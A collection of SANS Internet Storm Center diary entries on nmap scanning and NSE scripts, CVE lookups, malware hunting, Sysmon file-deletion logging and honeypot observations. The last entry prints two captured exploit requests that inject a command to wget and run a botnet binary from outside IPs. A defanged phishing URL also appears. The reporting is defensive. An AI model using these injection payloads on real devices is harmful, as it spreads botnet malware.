On the surface this is just a simple TCP portscan.  But even this takes advantage of work that was done as part of building nmap.  Nmap -sT, by default, does not scan every TCP port.  By default nmap scans the top 1000 ports that are commonly open on the Internet.  So rather than taking a whole lot of time scanning all 65,536 TCP ports nmap focuses the scan to the 93% of ports that are most likely to be open, thus reducing the time required for the scan.  If 93% is not good enough this value can be adjusted using the --top-ports option.  For example:

nmap -sT--top-ports=5000 <scan_target>

will scan greater than 99% of the most common ports.  If you are curious about the top open ports more details can be found on the nmap most popular ports page  and for the incurably curious the open frequency for each port is in the nmap-services file in each nmap installation.

This basic scan looks a lot like a port scan:

$ nmap -sT <scan_target>
Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-09 18:45 UTC
Nmap scan report for <scan_target> (<IP>)
Host is up (0.067s latency).
rDNS record for <IP>: <DNS lookup>
Not shown: 997 filtered ports
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 5.85 seconds

 

But adding a few parameters can get you a whole lot more information for very little work.

Bojan referred to -sV in his diary.  -sV enables version detection; which interrogates the port to see if nmap can determine what application is running on the port.  This can be taken a lot further with one more flag -A. -A, is sort of the catch all flag.  It enables a number of features, service detection (-sV), OS detection (-O), script scanning (-sC) and traceroute (--traceroute).  This scan will take longer, and will generate more network traffic, but will give you a whole lot more information about the target.

OS Detection (-O) uses operating system fingerprinting on the target to try and determine which operating system and version are running on the target. 
Script scanning (-sC) will run the most common NSE scripts, based on the detected open ports, to attempt to learn more about the port.
Traceroute (--traceroute) executes a traceroute from your scanning machine to the target.

$ nmap -sT -A <scan_target>
Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-09 19:09 UTC
Nmap scan report for <scan_target> (<IP>)
Host is up (0.064s latency).
rDNS record for <IP>: <DNS Lookup>
Not shown: 997 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 7e:9f:44:b9:38:55:65:4a:17:49:ce:2a:70:1d:75:5e (RSA)
|   256 da:30:3c:2d:9c:42:95:28:1f:b0:95:da:0d:d4:79:87 (ECDSA)
|_  256 a2:4e:02:e1:39:f7:55:b2:45:8a:a3:1f:8c:19:69:07 (EdDSA)
80/tcp  open   http    Apache httpd 2.2.34
| http-auth:
| HTTP/1.1 401 Authorization Required\x0D
|_  Basic realm=<redacted>
|_http-server-header: Apache/2.2.34 (<redacted>)
|_http-title: 401 Authorization Required
443/tcp closed https
Aggressive OS guesses: Vodavi XTS-IP PBX (92%), Android 5.0 - 5.1 (91%), Linux 3.2 - 3.10 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 4.8 (91%), Linux 3.10 (90%), Linux 4.2 (90%), Linux 3.13 (90%), Linux 4.4 (89%), Linux 2.6.32 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: <scan_target>

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
<traceroute removed for brevity>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.06 seconds

I have set up several periodic scans like this as part of what my group calls automated red team, but what is really just automated data gathering for our red team.  In addition to the command above we write the results out to a file as XML, and use the ndiff command to compare this week’s scan with last week’s scan and email the result to our response team for investigation. -oA <filename> will store the scan results in all three of nmaps output formats, normal (.nmap), XML (.xml), and grepable (.gnmap).  All of these formats have their advantages (and disadvantages).  The two format I find I use the most are XML, which is what ndiff takes, and grepable, which I find is the easiest to use for adhoc searches.

To avoid the risk of being too verbose, I am going to end this diary here.  If you have any questions about this material, feel free to email me at rwanner(at)isc.sans.edu and I will endeavor to help you out.  I would also be curious to hear of any creative ways you utilze nmap to make your day to job as a security practitioner easier.
 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

VMWare has announced two vulnerabiliities in their vRealize product related to their integration of the popular open source server management software SaltStack, for which vulnerabilities were disclosed by F-Secure late last week.

CVE-2020-11651, is listed as a critical authentication bypass vulnerability

CVE-2020-11652, is listed as important and provides a mechanism for directory traversal.

The VMWare bulletin can be found here: https://www.vmware.com/security/advisories/VMSA-2020-0009.html

 

 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Yesterday, Bojan wrote a nice diary[1] about the power of the Nmap scripting language (based on LUA). The well-known port scanner can be extended with plenty of scripts that are launched depending on the detected ports. When I read Bojan's diary, it reminded me of an old article[2] that I wrote on my blog a long time ago. The idea was to use Nmap as a lightweight vulnerability scanner. Nmap has a scan type that tries to determine the service/version information running behind an open port (enabled with the '-sV' flag). Based on this information, the script looks for interesting CVE in a flat database. Unfortunately, the script was developed by a third-party developer and was never integrated into the official list of scripts. 

However, a second project was kicked off and integrated into Nmap: The vulners[3] script. The principle is the same: You scan the host (with '-sV') and, for each identified service, the script performs a lookup in the CVE database. Example:

root@kali:~# nmap -sV --script=vulners -v x.x.x.x
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 17:28 CEST
NSE: Loaded 46 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:28
Completed NSE at 17:28, 0.00s elapsed
Initiating NSE at 17:28
Completed NSE at 17:28, 0.00s elapsed
Initiating Ping Scan at 17:28
Scanning x.x.x.x [4 ports]
Completed Ping Scan at 17:28, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:28
Completed Parallel DNS resolution of 1 host. at 17:28, 2.17s elapsed
Initiating SYN Stealth Scan at 17:28
Scanning x.x.x.x [1000 ports]
Discovered open port 443/tcp on x.x.x.x
Discovered open port 3389/tcp on x.x.x.x
Discovered open port 445/tcp on x.x.x.x
Discovered open port 21/tcp on x.x.x.x
Discovered open port 3306/tcp on x.x.x.x
Discovered open port 135/tcp on x.x.x.x
Discovered open port 139/tcp on x.x.x.x
Discovered open port 80/tcp on x.x.x.x
Discovered open port 49158/tcp on x.x.x.x
Discovered open port 3800/tcp on x.x.x.x
Discovered open port 49160/tcp on x.x.x.x
Discovered open port 49154/tcp on x.x.x.x
Discovered open port 49152/tcp on x.x.x.x
Discovered open port 49153/tcp on x.x.x.x
Discovered open port 49155/tcp on x.x.x.x
Discovered open port 49157/tcp on x.x.x.x
Completed SYN Stealth Scan at 17:28, 5.58s elapsed (1000 total ports)
Initiating Service scan at 17:28
Scanning 16 services on x.x.x.x
Service scan Timing: About 56.25% done; ETC: 17:30 (0:00:44 remaining)                                                                                                                                                                                                                   [70/1471]
Completed Service scan at 17:30, 84.04s elapsed (16 services on 1 host)
NSE: Script scanning x.x.x.x.
Initiating NSE at 17:30
Completed NSE at 17:30, 6.91s elapsed
Initiating NSE at 17:30
Completed NSE at 17:30, 1.55s elapsed
Nmap scan report for x.x.x.x
Host is up (0.19s latency).
Not shown: 984 closed ports
PORT      STATE SERVICE            VERSION
21/tcp    open  ftp                FileZilla ftpd 0.9.41 beta
80/tcp    open  http               Apache httpd 2.4.17 ((Win32) OpenSSL/1.0.2d PHP/5.6.20)
|_http-server-header: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.6.20
| vulners:
|   cpe:/a:apache:http_server:2.4.17:
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-8740   5.0     https://vulners.com/cve/CVE-2016-8740
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092                                                                                                                                                                                                                   |       CVE-2018-11763  4.3     https://vulners.com/cve/CVE-2018-11763
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2016-1546   4.3     https://vulners.com/cve/CVE-2016-1546
|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
443/tcp   open  ssl/http           Apache httpd 2.4.17 ((Win32) OpenSSL/1.0.2d PHP/5.6.20)
|_http-server-header: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.6.20
| vulners:
|   cpe:/a:apache:http_server:2.4.17:
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-8740   5.0     https://vulners.com/cve/CVE-2016-8740
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-11763  4.3     https://vulners.com/cve/CVE-2018-11763
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2016-1546   4.3     https://vulners.com/cve/CVE-2016-1546
|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp  open  mysql              MariaDB (unauthorized)
3389/tcp  open  ssl/ms-wbt-server?
3800/tcp  open  tcpwrapped
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
Initiating NSE at 17:30
Completed NSE at 17:30, 0.00s elapsed
Initiating NSE at 17:30
Completed NSE at 17:30, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.83 seconds
           Raw packets sent: 1022 (44.944KB) | Rcvd: 1001 (40.108KB)

The difference between the two scripts is the way they search for CVE. In this case, the script requires Internet access to query the Vulners API[4].

Note that the script accepts one parameter: You can specify the minimum CVSS ("Common Vulnerability Scoring System") score to display:

root@kali:~# nmap -sV --script=vulners --script-args mincvss=8 x.x.x.x

Once you get some results, our next goal could be to automatically process the results. Let's use a few lines of Python to parse the Nmap XML output (that is created via the '-oX' flag):

root@kali:~# nmap -sV --script=vulners -oX x.x.x.x.xml  x.x.x.x
root@kali:~# python3
Python 3.7.7 (default, Mar 10 2020, 13:18:53)
[GCC 9.2.1 20200306] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from libnmap.parser import NmapParser
>>> p = NmapParser.parse_fromfile("x.x.x.x.xml")
>>> for host in p.hosts:
...   for svc in host.services:
...     for script in svc.scripts_results:
...       output = script.get("output")
...       print(output)
...

  cpe:/a:microsoft:sql_server:2014:
        CVE-2015-1763   8.5     https://vulners.com/cve/CVE-2015-1763
        CVE-2015-1762   7.1     https://vulners.com/cve/CVE-2015-1762
        CVE-2020-0618   6.5     https://vulners.com/cve/CVE-2020-0618
        CVE-2019-1068   6.5     https://vulners.com/cve/CVE-2019-1068
        CVE-2016-7253   6.5     https://vulners.com/cve/CVE-2016-7253
        CVE-2016-7250   6.5     https://vulners.com/cve/CVE-2016-7250
        CVE-2015-1761   6.5     https://vulners.com/cve/CVE-2015-1761
        CVE-2017-8516   5.0     https://vulners.com/cve/CVE-2017-8516
        CVE-2014-1820   4.3     https://vulners.com/cve/CVE-2014-1820

Nice! So, we have a lightweight vulnerability scanner and we can automate the reporting. Another idea could be to perform a diff of a first scan - used as a baseline - and a second one (performed at regular intervals. Ndiff[5] is a great tool to achieve this.

In conclusion, a tool can be for multiple purposes, offensive VS. defensive security!

[1] https://isc.sans.edu/forums/diary/Scanning+with+nmaps+NSE+scripts/26096/
[2] https://blog.rootshell.be/2010/06/03/vulnerability-scanner-within-nmap/
[3] https://github.com/vulnersCom/nmap-vulners
[4] https://vulners.com/api/v3/
[5] https://nmap.org/ndiff/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

If someone asked me 7 or 8 years ago what I use nmap for, my answer would be: simple port scanning – it’s a port scanner, and that’s what it should be used for. Boy was I wrong.

As some of our readers certainly know, nmap includes the map Scripting Engine (NSE), which turns nmap into much more than a scanner – it allows creation of scripts which can perform all sort of actions. The scripts are written in the Lua programming language and nmap comes with many them – the very latest SVN version comes with 601 NSE script.

While scripts can be updated separately, nmap is actually one of the rare tools I download, compile and install manually. The main reason is because with nmap we really do want to have the very latest version always – development is very active and new features and bugs are constantly added. Besides that, the whole compilation process is typically trivial.

Since I do a lot of network penetration tests, where quite often I need to scan large networks (and report on findings), I found some NSE scripts unbelievably useful – this diary will contain some of the top NSE scripts I use during penetration tests – let us know if you have other candidates!

SSL/TLS testing

There is a bunch of scripts that test for various SSL/TLS configuration issues. These are a must – if you are doing a penetration test or you simply want to check if you have servers supporting SSLv3 in your enterprise, these scripts will do the job.
I actually already wrote about SSL/TLS testing – so if you want to read those diaries please go here and here.

• ssl-enum-ciphers – this script will enumerate supported protocols and cipher suites by the target web site. It will even give grades which are simulating what Qualys’ SSL Server Test web site does too. Just keep in mind that it does not support SSLv2 – for that we need another script ...
• sslv2 – you guessed it – this script will check if SSLv2 is supported by the target service.
• ssl-cert – this script will retrieve information about the X.509 certificate used by the target service. It’s another handy script that allows you to retrieve certificates of all servers in your scope. Need to know which certificates expire soon? Just do a whole enterprise scan on TCP port 443 with ssl-cert and parse the output. Can’t get easier than that.
• ssl-dh-params – this script checks if the target service is using weak Diffie-Hellman groups and parameters.

Here is one example of me checking the certificate on the isc.sans.edu web site:

Hmm, do you see something interesting here? Let us know.

SMB testing

Issues in configuration of SMB services can be devastating – anyone who even remotely heard about Responder, Impacket and ntlmrelayx knows what I’m talking about. That’s why I think it is mandatory to check SMB configuration in every penetration test (and in your enterprises). Nmap comes to the rescue here, again with a number of great scripts:

• smb-protocols – this script will check which SMB protocols are supported by the target server. If you see SMBv1 supported – that’s really bad.
• smb-security-mode – the script will check for various information about the SMB security level. Besides checking for authentication, probably the most important configuration parameter is message signing – this shows if it is required by the target server or not. Whenever you see message signing not being required, this should be reported as a vulnerability (misconfiguration) since it will allow all those scary tools listed above (Responder etc) to be used by an attacker.
• smb2-security-mode – the script check whether message signing is enabled, but for SMB2/3 protocols. Do not forget to use it if your target server supports only SMBv2.

I am running these scripts here against a server – we can see that it’s misconfigured because it supports SMBv1 (which should really be disabled everywhere), but at least it has message signing set to required:

HTTP scripts

There is a large number of HTTP scripts – 135 of them currently so I suggest that you get familiar with what is available so you can use them when needed. That being said, there are few cool scripts that I tend to run almost every time, just because they are so convenient:

• http-apache-server-status – the Apache /server-status web page can often leak a lot of very sensitive information. I actually had cases where I completely compromised a target environment just based on leaked information I saw in the /server-status web page. That’s why I like to automatically check every single server for this web page, and this script will do that easily.
• http-methods – the script identifies all supported methods. Handy in first phases of a penetration test.
• http-shellshock – while Shellshock is a bit old now, internally it can still be found quite often. This script allows for an easy check if the target server is vulnerable to Shellshock.
• http-robots.txt – another very handy script that will automatically retrieve contents of the /robots.txt file and display them. 

Again, this is very useful in cases when you need to check a large number of target servers – simply run the script against them and analyze the results offline.
Here I am running the http-robots.txt NSE script against isc.sans.edu:

Huh, look at those results, do you see anything suspicious there?

I hope you liked this selection of nmap NSE scripts – there are many, many other useful scripts. Let us know which ones are your favorites!
Ah yes – we cover nmap (of course) in the SEC 542 (Web application penetration testing and ethical hacking) course as well, in context of web application penetration tests, of course. There's even time to sign up for the course next week - I'll be teaching the new (updated) version of the course for the first time live.

--
Bojan
@bojanz
INFIGO IS

We know that today's malware campaigns are based on fresh files. Each piece of malware has a unique hash and it makes the detection based on lists of hashes not very useful these days. But can we spot some malicious files coming on stage regularly or, suddenly, just popping up from nowhere?

I'm using VirusTotal to hunt for malicious files based on a bunch of YARA rules and, via the VT API, everything is indexed into a Splunk instance. Here is a sample of detected malicious file:

You can see two interesting fields (well, all of them are interesting):

• first_seen
• last_seen

It could be interesting to have a look at the "age" of a file from a VT point of view. By computing the time difference between the two timestamps, we could see if a file is in the wild for a while or a brand new one...

Here is the base query that I performed:

index=virustotal sourcetype=_json
| spath first_seen | spath last_seen | spath sha256 | spath type | spath positives
| dedup sha256
| eval i = strptime(first_seen, "%Y-%m-%d %H:%M:%S") 
| eval o = strptime(last_seen, "%Y-%m-%d %H:%M:%S") 
| eval age = tostring((o - i), "duration") 
| search positives > 5
| sort - age
| table sha256,type,positives,first_seen,last_seen, age

I'm searching only for files detected as malicious (score > 5) from 2019/01/01 until today (16 months). Here are some findings:

• 8042 files have matched my YARA rules
• The oldest file is 1b441fde04d361a6fd7fbd83e969014622453c263107ce2bed87ad0bff7cf13f[1]. It's the famous 'Invoke-Mimikatz.ps1'. It was first uploaded to VT on 2015-11-05 15:27:45. The last submission was on 2019-04-04 10:40:30.
• 7698 files were uploaded only one time (age = 0) (95%)

Here is the split of file types for malicious files that have been uploaded more than one time (age > 0):

The file type 'Text' means all kinds of scripting languages (mainly PowerShell).  Note that the number of malicious Word documents is interesting! (3rd position). 

Here is the overview of ages (in hours):

At the opposite, we can also spot malware campaigns just released on the wild (ex: new waves of phishing) because the age remains very low. Many samples have an age of approximatively one hour:

 

As you can see, most of the samples uploaded to VT are "fresh meat" (new hash) but many of them are coming back regularly... Reasons can be multiple: security researchers resubmitting files, red-teams testing if the score of old samples, old emails reopened with attachments? 

Stay safe!

[1] https://www.virustotal.com/gui/file/1b441fde04d361a6fd7fbd83e969014622453c263107ce2bed87ad0bff7cf13f/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

We received excellent comments and a question regarding cloud security features from an ISC reader today that we thought was important to share broadly. We'd certainly like to open this up to reader comments, insights, and feedback. 

"With Azure adding to their security offerings, is the trend for more companies to start offloading their security needs to Microsoft?  With Microsoft security & compliance, companies would rely more on Microsoft recommendations and alerting. Why even go through security learning when Microsoft would be handling the entire stack?"

My response to this follows, please note that I work at Microsoft, and that our replies are not exclusive to the Azure cloud:

"The continued growth of security features in Azure are intended to be of increased benefit to customers and their protection, but not supplant or replace their ongoing need to understand and apply security practices and learning. Organizations utilizing Azure are able to leverage these tools to greater affect but can't do so in the absence of understanding the same security principles that apply to on-premises computing. Yes, the technology and landscape are evolving but the core tenets of asset management, vulnerability management, secure configuration, security assessment, monitoring, analysis, and incident response all remain valid and true. Just because the likes of Microsoft Defender Advanced Threat Protection or Azure Sentinel exist for Azure resources and Microsoft customers doesn't mean you don't have to know how to utilize them effectively. Different tech, different landscape, same principles."

Another handler replied as well:

"My organisation does a lot of work within the various Microsoft stacks and unfortunately the assumption is often that Microsoft is taking care of it all, which unfortunately is not the case.  The tools that people are being provided with are improving. What is available at your particular license level is different to what it was a few years ago, even a few months ago. However the same security principles people were applying previously still apply. If you had an on-prem SIEM that nobody looked at, having Sentinel and nobody looking at it will have the same end result. The tools are available, but they can still be implemented insecurely."

Key Takeaways

1. Yes, cloud security features are constantly being added and improved.
2. No, they do not replace your need for understanding and continued learning of security best practices, configuration, implementation, and analysis.
3. Yes, these insights apply to all cloud providers with security features offered as part of their platforms.
4. No, you should not assume that your cloud provider is "taking care of it for you."

Again, cloud security features <>!=≠ personnel security capabilities, those are still up to you and your teams.

Cheers…until next time.

Russ McRee | @holisticinfosec

 

 

A new version of Sysmon was released, with a new major feature: detection of file deletion (with deleted file preservation).

Mark Russinovich explains this in detail in the following video:

So a new event is recorded (ID 23: FileDelete) whenever a file is deleted, and a copy of the deleted file can be preserved inside an archive directory (per volume).

Sysmon will also detect file shredding. I wanted to test this, and of course, I used Sysinternals' own sdelete.

I used the following basic configuration (don't use this on production systems, this will archive all deleted files):

<Sysmon schemaversion="4.30">
  <EventFiltering>
    <FileDelete onmatch="exclude">
    </FileDelete>
  </EventFiltering>
</Sysmon>

With this command: Sysmon.exe -i config.xml -a sysmondelete

Here is the event for the deletion of file.txt (a copy of notepad.exe):

So the file shredding and deletion was detected and reported, but unfortunately, Sysmon did not detect the shredding early enough to be able to preserve the original file. The shredded file contains only 0x00 bytes, and was therefor not archived.

As Mark mentioned in his video, there might be circumstances where deleted files can not be archived. He used a custom tool to show this, so I also made my custom tool do reproduce his examples.

When my custom tool shredded a file byte per byte, Sysmon could not preserve the file prior to shredding. But when my tool shredded file.txt (e.g. notepad.exe) in blocks of 1MB (or smaller if the file itself is smaller than 1MB), then it worked:

The file shredding was detected, and a copy of the intact file was made:

The file deletion was also detected, but since this is now a file filled solely with 0x00 bytes, an archival copy was not made:

Update: A reader experienced problems with removable storage & Sysmon's file deletion preservation (archive folder is created on removable storage too, and kept open -> can not be ejected safely). Mark will address this issue with next update.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

A comment on my diary entry "MALWARE Bazaar" mentioned problems with the ZIP password of downloaded samples (MALWARE Bazaar is a free service were you can download malware samples).

When you download a sample from MALWARE Bazaar, it is stored in a password protected ZIP file. As mentioned on the download page, the password is infected.

But you can still have issues when extracting the sample, because AES is used as encryption method. Not all ZIP utilities support AES as encryption method, and so you'll have to use a utility that not only supports ZipCrypto, but also AES.

Python's module zipfile does not support AES, only ZipCrypto. So many of my analysis tools (oledump, pdf tools, ...) that can analyse samples inside a password protected ZIP file, will not work directly with MALWARE Bazaar samples.

But I found a solution, and implemented it first in my zipdump.py utility: there is an open-source drop-in replacement for the zipfile module, that supports AES encrytpion. This module is pyzipper.

When pyzipper is installed, my zipdump.py tool will use it in stead of zipfile, and thus provide AES encryption support. If it is not installed, it will use built-in module zipfile.

I will gradually update my other tools using zipfile, to include support for pyzipper.

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Taking a look with pdfid.py at a PDF received 2 days ago to update Amazon Prime account information:

This PDF contains /URI which might be of interest. Using pdf-parser.py, I generated some statistics (-a) like this:

And here I print the URL (/URI) in the pdf like this:

This hostname is a bit unusual, https[:]//903-63-845-845-matikaudekdek54yy4[.]com/l57kU89. I tried to get a copy of the suspicious file but the hostname was no longer resolving. The only information I was able to find about this hostname was from Domain State indicating that domain had already been deleted. No other cache or otherwise information available about this hosname.

[1] www.domainstate.com/domain/sixdns.net

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

I don't know how many of you pay attention to the Top 10 Ports graphs on your isc.sans.edu dashboard, but I do. Unfortunately, the top 10 is pretty constant, the botnets are attacking the same ports. What I find more interesting is anomalous behavior. Changes from what is normal on a given port. So, a little over a week ago, I saw a jump on a port I wasn't familiar with.

In fact, when I look at the longer term, we've seen the occasional spike, but this is the first one where the number of sources was up significantly, too.

So, what are the attackers looking for in this last week? Well, as I have in previous diaries, I turned to fellow handler, Didier Stevens' tcp-honeypot. Since there seem to be web admin consoles on lots of ports, I set up tcp port 9673 to look like a web server, though it probably wasn't necessary. I brought this up on a VPS I have and within minutes started getting hits (I have included 2 examples below). With a little DuckDuckGo-ing, I came across an advisory for a ZyXel 0-day from last month. I guess someone finally decided to go after it. I was unable to download the second stage (it looks like the servers hosting the payloads may have been shut down already), but according to Radware, this is the Hoaxcalls DDoS botnet in action.

20200429-051959: 0.0.0.0:9673-197.60.52.212:59732 data b"GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1\r\nUser-Agent: XTC\r\nHost: 127.0.0.1:9673\r\nContent-Length: 1000\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\ncpe_ids=__import__('os').system('wget http://212.114.52.128/arm7 -O /tmp/viktor; chmod 777 /tmp/viktor; /tmp/viktor')\r\n\r\n"

20200430-082737: 0.0.0.0:9673-14.177.232.245:51026 data b"GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1\r\nUser-Agent: XTC\r\nHost: 127.0.0.1:9673\r\nContent-Length: 1000\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\ncpe_ids=__import__('os').system('wget http://178.33.64.107/arm7 -O /tmp/upnp.debug; chmod 777 /tmp/upnp.debug; /tmp/upnp.debug')\r\n\r\n"

As we always say, your IoT devices should not generally be directly exposed to the internet. I know people are fond of saying the perimeter is dead, but seriously, you should still have a firewall that blocks inbound traffic to (at least) your IoT devices.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu